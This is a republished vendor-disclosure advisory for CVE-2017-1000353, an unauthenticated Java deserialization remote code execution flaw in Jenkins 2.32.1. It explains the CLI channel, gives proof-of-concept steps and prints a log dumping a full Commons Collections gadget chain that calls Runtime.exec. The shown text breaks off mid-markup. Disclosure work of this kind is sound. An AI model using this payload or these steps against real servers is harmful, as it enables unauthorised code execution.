{"id":7498,"date":"2017-05-01T14:19:12","date_gmt":"2017-05-01T22:19:12","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/05\/01\/news-1283\/"},"modified":"2017-05-01T14:19:12","modified_gmt":"2017-05-01T22:19:12","slug":"news-1283","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/05\/01\/news-1283\/","title":{"rendered":"SSD Advisory &#8211; CloudBees Jenkins Unauthenticated Code Execution"},"content":{"rendered":"<p><strong>Credit to Author: Maor Schwartz| Date: Mon, 01 May 2017 06:28:11 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3171\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><\/p>\n<p><script>var obj = jQuery('#a-href-3171');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script>  \t\t<\/p>\n<p><strong>Vulnerability Summary<\/strong><br \/> The following advisory describes Java deserialization vulnerability found in CloudBees Jenkins version 2.32.1 that leads to a Remote Code Execution.<\/p>\n<p>Jenkins helps to automate the non-human part of the whole software development process with now common things like continuous integration and by empowering teams to implement the technical aspects of continuous delivery. It is a server-based system running in a servlet container such as Apache Tomcat. It supports version control tools, including AccuRev, CVS, Subversion, Git, Mercurial, Perforce, Clearcase and RTC, and can execute Apache Ant, Apache Maven and sbt based projects as well as arbitrary shell scripts and Windows batch commands.<\/p>\n<p><strong>Credit<\/strong><br \/> An independent security researcher has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program.<\/p>\n<p><strong>Vendor Response<\/strong><br \/> CloudBees Jenkins has released patches to address this vulnerability and issued CVE-2017-1000353 for the vulnerability. For more details: <a href=\"https:\/\/jenkins.io\/security\/advisory\/2017-04-26\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/jenkins.io\/security\/advisory\/2017-04-26<\/a>\/<\/p>\n<p><span id=\"more-3171\"><\/span><br \/> <strong>Vulnerability Details<\/strong><\/p>\n<p>Jenkins is vulnerable to a Java deserialization vulnerability. In order to trigger the vulnerability two requests need to be sent.<\/p>\n<p>The vulnerability can be found in the implementation of a bidirectional communication channel (over HTTP) which accepts commands.<\/p>\n<p>The first request starts a session for the bi-directional channel and is used for \u201c<em>downloading<\/em>\u201d data from the server. The HTTP header \u201c<em>Session<\/em>\u201d is the identifier for the channel. The HTTP header \u201c<em>Side<\/em>\u201d specifies the \u201c<em>downloading\/uploading<\/em>\u201d direction.<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins1.jpg\" data-slb-active=\"1\" data-slb-asset=\"1574273601\" data-slb-internal=\"0\" data-slb-group=\"3171\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3179\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins1-300x96.jpg\" alt=\"\" width=\"300\" height=\"96\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins1-300x96.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins1-768x245.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins1-1024x327.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins1.jpg 1170w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>The second request is the sending component\u00a0of the bidirectional channel. The first requests is blocked until the second request is sent. The request for a bidirectional channel is matched by the \u201c<em>Session<\/em>\u201d HTTP header which is just a UUID.<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins2.jpg\" data-slb-active=\"1\" data-slb-asset=\"2010991909\" data-slb-internal=\"0\" data-slb-group=\"3171\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3180\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins2-300x140.jpg\" alt=\"\" width=\"300\" height=\"140\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins2-300x140.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins2-768x359.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins2-1024x478.jpg 1024w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>All commands sent to the CLI start with a preamble which is often:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5907b45e8355f138148509\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &lt;===[JENKINS REMOTING CAPACITY]===&gt;rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0010 seconds] -->  <\/p>\n<p>The preamble contains a base64 encoded serialized object. The serialized object of type \u201c<em>Capability<\/em>\u201d just tells the server which capabilities (e.g. HTTP<br \/> chunked encoding) the client has.<\/p>\n<p>After the preamble and some additional bytes a serialized object of type Command is expected by the Jenkins server. Since Jenkins does not validate the serialized object, any serialize object can be sent.<\/p>\n<p>The deserialization is code is\u00a0in the method \u201c<em>readFrom<\/em>\u201d of class \u201c<em>Command<\/em>\u201d:<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins3.jpg\" data-slb-active=\"1\" data-slb-asset=\"582777142\" data-slb-internal=\"0\" data-slb-group=\"3171\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3181\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins3-294x300.jpg\" alt=\"\" width=\"294\" height=\"300\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins3-294x300.jpg 294w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins3-768x783.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins3.jpg 839w\" sizes=\"auto, (max-width: 294px) 100vw, 294px\" \/><\/a><\/p>\n<p>The command is\u00a0called by the\u00a0\u201c<em>read()<\/em>\u201d of class \u201c<em>ClassicCommandTransport<\/em>\u201d.<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins4.jpg\" data-slb-active=\"1\" data-slb-asset=\"1333870180\" data-slb-internal=\"0\" data-slb-group=\"3171\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3182\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins4-292x300.jpg\" alt=\"\" width=\"292\" height=\"300\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins4-292x300.jpg 292w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins4-768x788.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins4.jpg 840w\" sizes=\"auto, (max-width: 292px) 100vw, 292px\" \/><\/a><\/p>\n<p>The data coming \u201c<em>from<\/em>\u201d the \u201c<em>upload<\/em>\u201d-side of the channel is read in a thread of type ReaderThread.<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins5.jpg\" data-slb-active=\"1\" data-slb-asset=\"203093457\" data-slb-internal=\"0\" data-slb-group=\"3171\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3183\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins5-300x263.jpg\" alt=\"\" width=\"300\" height=\"263\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins5-300x263.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins5-768x673.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins5.jpg 999w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>The thread is triggered by the \u201c<em>upload<\/em>\u201d-method which is called in class \u201c<em>CliEndpointResponse<\/em>\u201d.<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins6.jpg\" data-slb-active=\"1\" data-slb-asset=\"1724426007\" data-slb-internal=\"0\" data-slb-group=\"3171\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3184\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins6-300x194.jpg\" alt=\"\" width=\"300\" height=\"194\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins6-300x194.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins6-768x495.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins6.jpg 992w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>In that method the HTTP body data is read and the \u201cnotify\u201d method is called to notify the thread.<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins7.jpg\" data-slb-active=\"1\" data-slb-asset=\"1634852951\" data-slb-internal=\"0\" data-slb-group=\"3171\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3185\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins7-300x80.jpg\" alt=\"\" width=\"300\" height=\"80\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins7-300x80.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins7-768x205.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Jenkins7.jpg 995w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><strong>Proof of Concept<\/strong><\/p>\n<p>In order to exploit the vulnerability, an attacker needs to create a serialized payload with\u00a0the command to execute by running the payload.jar script.<\/p>\n<p>The second step is to change python script jenkins_poc1.py:<\/p>\n<ul>\n<li>Adjust target url in URL variable<\/li>\n<li>Change file to open in line &#8220;FILE_SER = open(&#8220;jenkins_poc1.ser&#8221;, &#8220;rb&#8221;).read()&#8221; to your payload file.<\/li>\n<\/ul>\n<p>By doing the previous steps, you should see the following massage in the log\/stdout of jenkins:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5907b45e8356a268343804\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> Jan 26, 2017 2:22:41 PM hudson.remoting.SynchronousCommandTransport$ReaderThread run  SEVERE: I\/O error in channel HTTP full-duplex channel a403c455-3b83-4890-b304-ec799bffe582  hudson.remoting.DiagnosedStreamCorruptionException  Read back: 0xac 0xed 0x00 0x05 &#8216;sr&#8217; 0x00 &#8216;\/org.apache.commons.collections.map.ReferenceMap&#8217; 0x15 0x94 0xca 0x03 0x98 &#8216;I&#8217; 0x08 0xd7 0x03 0x00 0x00 &#8216;xpw&#8217; 0x11 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x00 &#8216;?@&#8217; 0x00 0x00 0x00 0x00 0x00 0x10 &#8216;sr&#8217; 0x00 &#8216;(java.util.concurrent.CopyOnWriteArraySetK&#8217; 0xbd 0xd0 0x92 0x90 0x15 &#8216;i&#8217; 0xd7 0x02 0x00 0x01 &#8216;L&#8217; 0x00 0x02 &#8216;alt&#8217; 0x00 &#8216;+Ljava\/util\/concurrent\/CopyOnWriteArrayList;xpsr&#8217; 0x00 &#8216;)java.util.concurrent.CopyOnWriteArrayListx]&#8217; 0x9f 0xd5 &#8216;F&#8217; 0xab 0x90 0xc3 0x03 0x00 0x00 &#8216;xpw&#8217; 0x04 0x00 0x00 0x00 0x02 &#8216;sr&#8217; 0x00 &#8216;*java.util.concurrent.ConcurrentSkipListSet&#8217; 0xdd 0x98 &#8216;Py&#8217; 0xbd 0xcf 0xf1 &#8216;[&#8216; 0x02 0x00 0x01 &#8216;L&#8217; 0x00 0x01 &#8216;mt&#8217; 0x00 &#8216;-Ljava\/util\/concurrent\/ConcurrentNavigableMap;xpsr&#8217; 0x00 &#8216;*java.util.concurrent.ConcurrentSkipListMap&#8217; 0x88 &#8216;Fu&#8217; 0xae 0x06 0x11 &#8216;F&#8217; 0xa7 0x03 0x00 0x01 &#8216;L&#8217; 0x00 0x0a  &#8216;comparatort&#8217; 0x00 0x16 &#8216;Ljava\/util\/Comparator;xppsr&#8217; 0x00 0x1a &#8216;java.security.SignedObject&#8217; 0x09 0xff 0xbd &#8216;h*&lt; &#8216; 0xd5 0xff 0x02 0x00 0x03 &#8216;[&#8216; 0x00 0x07 &#8216;contentt&#8217; 0x00 0x02 &#8216;[B[&#8216; 0x00 0x09 &#8216;signatureq&#8217; 0x00 &#8216;~&#8217; 0x00 0x0e &#8216;L&#8217; 0x00 0x0c &#8216;thealgorithmt&#8217; 0x00 0x12 &#8216;Ljava\/lang\/String;xpur&#8217; 0x00 0x02 &#8216;[B&#8217; 0xac 0xf3 0x17 0xf8 0x06 0x08 &#8216;T&#8217; 0xe0 0x02 0x00 0x00 &#8216;xp&#8217; 0x00 0x00 0x05 0x01 0xac 0xed 0x00 0x05 &#8216;sr&#8217; 0x00 0x11 &#8216;java.util.HashSet&#8217; 0xba &#8216;D&#8217; 0x85 0x95 0x96 0xb8 0xb7 &#8216;4&#8217; 0x03 0x00 0x00 &#8216;xpw&#8217; 0x0c 0x00 0x00 0x00 0x02 &#8216;?@&#8217; 0x00 0x00 0x00 0x00 0x00 0x01 &#8216;sr&#8217; 0x00 &#8216;4org.apache.commons.collections.keyvalue.TiedMapEntry&#8217; 0x8a 0xad 0xd2 0x9b &#8216;9&#8217; 0xc1 0x1f 0xdb 0x02 0x00 0x02 &#8216;L&#8217; 0x00 0x03 &#8216;keyt&#8217; 0x00 0x12 &#8216;Ljava\/lang\/Object;L&#8217; 0x00 0x03 &#8216;mapt&#8217; 0x00 0x0f &#8216;Ljava\/util\/Map;xpt&#8217; 0x00 0x06 &#8216;randomsr&#8217; 0x00 &#8216;*org.apache.commons.collections.map.LazyMapn&#8217; 0xe5 0x94 0x82 0x9e &#8216;y&#8217; 0x10 0x94 0x03 0x00 0x01 &#8216;L&#8217; 0x00 0x07 &#8216;factoryt&#8217; 0x00 &#8216;,Lorg\/apache\/commons\/collections\/Transformer;xpsr&#8217; 0x00 &#8216;:org.apache.commons.collections.functors.ChainedTransformer0&#8217; 0xc7 0x97 0xec &#8216;(z&#8217; 0x97 0x04 0x02 0x00 0x01 &#8216;[&#8216; 0x00 0x0d &#8216;iTransformerst&#8217; 0x00 &#8216;-[Lorg\/apache\/commons\/collections\/Transformer;xpur&#8217; 0x00 &#8216;-[Lorg.apache.commons.collections.Transformer;&#8217; 0xbd &#8216;V*&#8217; 0xf1 0xd8 &#8216;4&#8217; 0x18 0x99 0x02 0x00 0x00 &#8216;xp&#8217; 0x00 0x00 0x00 0x05 &#8216;sr&#8217; 0x00 &#8216;;org.apache.commons.collections.functors.ConstantTransformerXv&#8217; 0x90 0x11 &#8216;A&#8217; 0x02 0xb1 0x94 0x02 0x00 0x01 &#8216;L&#8217; 0x00 0x09 &#8216;iConstantq&#8217; 0x00 &#8216;~&#8217; 0x00 0x03 &#8216;xpvr&#8217; 0x00 0x11 &#8216;java.lang.Runtime&#8217; 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 &#8216;xpsr&#8217; 0x00 &#8216;:org.apache.commons.collections.functors.InvokerTransformer&#8217; 0x87 0xe8 0xff &#8216;k{|&#8217; 0xce &#8216;8&#8217; 0x02 0x00 0x03 &#8216;[&#8216; 0x00 0x05 &#8216;iArgst&#8217; 0x00 0x13 &#8216;[Ljava\/lang\/Object;L&#8217; 0x00 0x0b &#8216;iMethodNamet&#8217; 0x00 0x12 &#8216;Ljava\/lang\/String;[&#8216; 0x00 0x0b &#8216;iParamTypest&#8217; 0x00 0x12 &#8216;[Ljava\/lang\/Class;xpur&#8217; 0x00 0x13 &#8216;[Ljava.lang.Object;&#8217; 0x90 0xce &#8216;X&#8217; 0x9f 0x10 &#8216;s)l&#8217; 0x02 0x00 0x00 &#8216;xp&#8217; 0x00 0x00 0x00 0x02 &#8216;t&#8217; 0x00 0x0a  &#8216;getRuntimeur&#8217; 0x00 0x12 &#8216;[Ljava.lang.Class;&#8217; 0xab 0x16 0xd7 0xae 0xcb 0xcd &#8216;Z&#8217; 0x99 0x02 0x00 0x00 &#8216;xp&#8217; 0x00 0x00 0x00 0x00 &#8216;t&#8217; 0x00 0x09 &#8216;getMethoduq&#8217; 0x00 &#8216;~&#8217; 0x00 0x1b 0x00 0x00 0x00 0x02 &#8216;vr&#8217; 0x00 0x10 &#8216;java.lang.String&#8217; 0xa0 0xf0 0xa4 &#8216;8z;&#8217; 0xb3 &#8216;B&#8217; 0x02 0x00 0x00 &#8216;xpvq&#8217; 0x00 &#8216;~&#8217; 0x00 0x1b &#8216;sq&#8217; 0x00 &#8216;~&#8217; 0x00 0x13 &#8216;uq&#8217; 0x00 &#8216;~&#8217; 0x00 0x18 0x00 0x00 0x00 0x02 &#8216;puq&#8217; 0x00 &#8216;~&#8217; 0x00 0x18 0x00 0x00 0x00 0x00 &#8216;t&#8217; 0x00 0x06 &#8216;invokeuq&#8217; 0x00 &#8216;~&#8217; 0x00 0x1b 0x00 0x00 0x00 0x02 &#8216;vr&#8217; 0x00 0x10 &#8216;java.lang.Object&#8217; 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 &#8216;xpvq&#8217; 0x00 &#8216;~&#8217; 0x00 0x18 &#8216;sq&#8217; 0x00 &#8216;~&#8217; 0x00 0x13 &#8216;ur&#8217; 0x00 0x13 &#8216;[Ljava.lang.String;&#8217; 0xad 0xd2 &#8216;V&#8217; 0xe7 0xe9 0x1d &#8216;{G&#8217; 0x02 0x00 0x00 &#8216;xp&#8217; 0x00 0x00 0x00 0x01 &#8216;t&#8217; 0x00 0x05 &#8216;xtermt&#8217; 0x00 0x04 &#8216;execuq&#8217; 0x00 &#8216;~&#8217; 0x00 0x1b 0x00 0x00 0x00 0x01 &#8216;q&#8217; 0x00 &#8216;~&#8217; 0x00 &#8216; sq&#8217; 0x00 &#8216;~&#8217; 0x00 0x0f &#8216;sr&#8217; 0x00 0x11 &#8216;java.lang.Integer&#8217; 0x12 0xe2 0xa0 0xa4 0xf7 0x81 0x87 &#8216;8&#8217; 0x02 0x00 0x01 &#8216;I&#8217; 0x00 0x05 &#8216;valuexr&#8217; 0x00 0x10 &#8216;java.lang.Number&#8217; 0x86 0xac 0x95 0x1d 0x0b 0x94 0xe0 0x8b 0x02 0x00 0x00 &#8216;xp&#8217; 0x00 0x00 0x00 0x01 &#8216;sr&#8217; 0x00 0x11 &#8216;java.util.HashMap&#8217; 0x05 0x07 0xda 0xc1 0xc3 0x16 &#8216;`&#8217; 0xd1 0x03 0x00 0x02 &#8216;F&#8217; 0x00 0x0a  &#8216;loadFactorI&#8217; 0x00 0x09 &#8216;thresholdxp?@&#8217; 0x00 0x00 0x00 0x00 0x00 0x00 &#8216;w&#8217; 0x08 0x00 0x00 0x00 0x10 0x00 0x00 0x00 0x00 &#8216;xxxuq&#8217; 0x00 &#8216;~&#8217; 0x00 0x11 0x00 0x00 0x00 &#8216;\/0-&#8216; 0x02 0x14 &#8216;I:aj&#8217; 0x01 0xfe 0xe7 &#8216;Kh&#8217; 0x98 &#8216;-&#8216; 0x9c &#8216;o!&#8217; 0x05 &#8216;H&#8217; 0x84 0xfa 0xb1 0x82 0x02 0x15 0x00 0x90 0x0a  0x92 0x0d &#8216;x&#8217; 0xa2 &#8216;~~&#8217; 0xdd 0xba 0xa3 0xe8 0xf6 &#8216;x3&#8217; 0xcd 0x98 0x06 &#8216;*t&#8217; 0x00 0x03 &#8216;DSAsr&#8217; 0x00 0x11 &#8216;java.lang.Boolean&#8217; 0xcd &#8216; r&#8217; 0x80 0xd5 0x9c 0xfa 0xee 0x02 0x00 0x01 &#8216;Z&#8217; 0x00 0x05 &#8216;valuexp&#8217; 0x01 &#8216;pxsr&#8217; 0x00 &#8216;1org.apache.commons.collections.set.ListOrderedSet&#8217; 0xfc 0xd3 0x9e 0xf6 0xfa 0x1c 0xed &#8216;S&#8217; 0x02 0x00 0x01 &#8216;L&#8217; 0x00 0x08 &#8216;setOrdert&#8217; 0x00 0x10 &#8216;Ljava\/util\/List;xr&#8217; 0x00 &#8216;Corg.apache.commons.collections.set.AbstractSerializableSetDecorator&#8217; 0x11 0x0f 0xf4 &#8216;k&#8217; 0x96 0x17 0x0e 0x1b 0x03 0x00 0x00 &#8216;xpsr&#8217; 0x00 0x15 &#8216;net.sf.json.JSONArray]&#8217; 0x01 &#8216;To(r&#8217; 0xd2 0x02 0x00 0x02 &#8216;Z&#8217; 0x00 0x0e &#8216;expandElementsL&#8217; 0x00 0x08 &#8216;elementsq&#8217; 0x00 &#8216;~&#8217; 0x00 0x18 &#8216;xr&#8217; 0x00 0x18 &#8216;net.sf.json.AbstractJSON&#8217; 0xe8 0x8a 0x13 0xf4 0xf6 0x9b &#8216;?&#8217; 0x82 0x02 0x00 0x00 &#8216;xp&#8217; 0x00 &#8216;sr&#8217; 0x00 0x13 &#8216;java.util.ArrayListx&#8217; 0x81 0xd2 0x1d 0x99 0xc7 &#8216;a&#8217; 0x9d 0x03 0x00 0x01 &#8216;I&#8217; 0x00 0x04 &#8216;sizexp&#8217; 0x00 0x00 0x00 0x01 &#8216;w&#8217; 0x04 0x00 0x00 0x00 0x01 &#8216;t&#8217; 0x00 0x06 &#8216;randomxxsq&#8217; 0x00 &#8216;~&#8217; 0x00 0x1e 0x00 0x00 0x00 0x00 &#8216;w&#8217; 0x04 0x00 0x00 0x00 0x00 &#8216;xxq&#8217; 0x00 &#8216;~&#8217; 0x00 &#8216; sq&#8217; 0x00 &#8216;~&#8217; 0x00 0x02 &#8216;sq&#8217; 0x00 &#8216;~&#8217; 0x00 0x05 &#8216;w&#8217; 0x04 0x00 0x00 0x00 0x02 &#8216;q&#8217; 0x00 &#8216;~&#8217; 0x00 0x1a &#8216;q&#8217; 0x00 &#8216;~&#8217; 0x00 0x09 &#8216;xq&#8217; 0x00 &#8216;~&#8217; 0x00 &#8216; px&#8217;  Read ahead:   \tat hudson.remoting.FlightRecorderInputStream.analyzeCrash(FlightRecorderInputStream.java:80)  \tat hudson.remoting.ClassicCommandTransport.diagnoseStreamCorruption(ClassicCommandTransport.java:93)  \tat hudson.remoting.ClassicCommandTransport.read(ClassicCommandTransport.java:75)  \tat hudson.remoting.SynchronousCommandTransport$ReaderThread.run(SynchronousCommandTransport.java:59)  Caused by: java.lang.ClassCastException: org.apache.commons.collections.map.ReferenceMap cannot be cast to hudson.remoting.Command  \tat hudson.remoting.Command.readFrom(Command.java:96)  \tat hudson.remoting.ClassicCommandTransport.read(ClassicCommandTransport.java:70)<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e8356a268343804-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e8356a268343804-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e8356a268343804-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e8356a268343804-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e8356a268343804-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e8356a268343804-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e8356a268343804-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e8356a268343804-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e8356a268343804-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e8356a268343804-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e8356a268343804-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e8356a268343804-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e8356a268343804-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e8356a268343804-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5907b45e8356a268343804-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5907b45e8356a268343804-16\">16<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5907b45e8356a268343804-1\"><span class=\"crayon-i\">Jan<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">26<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span 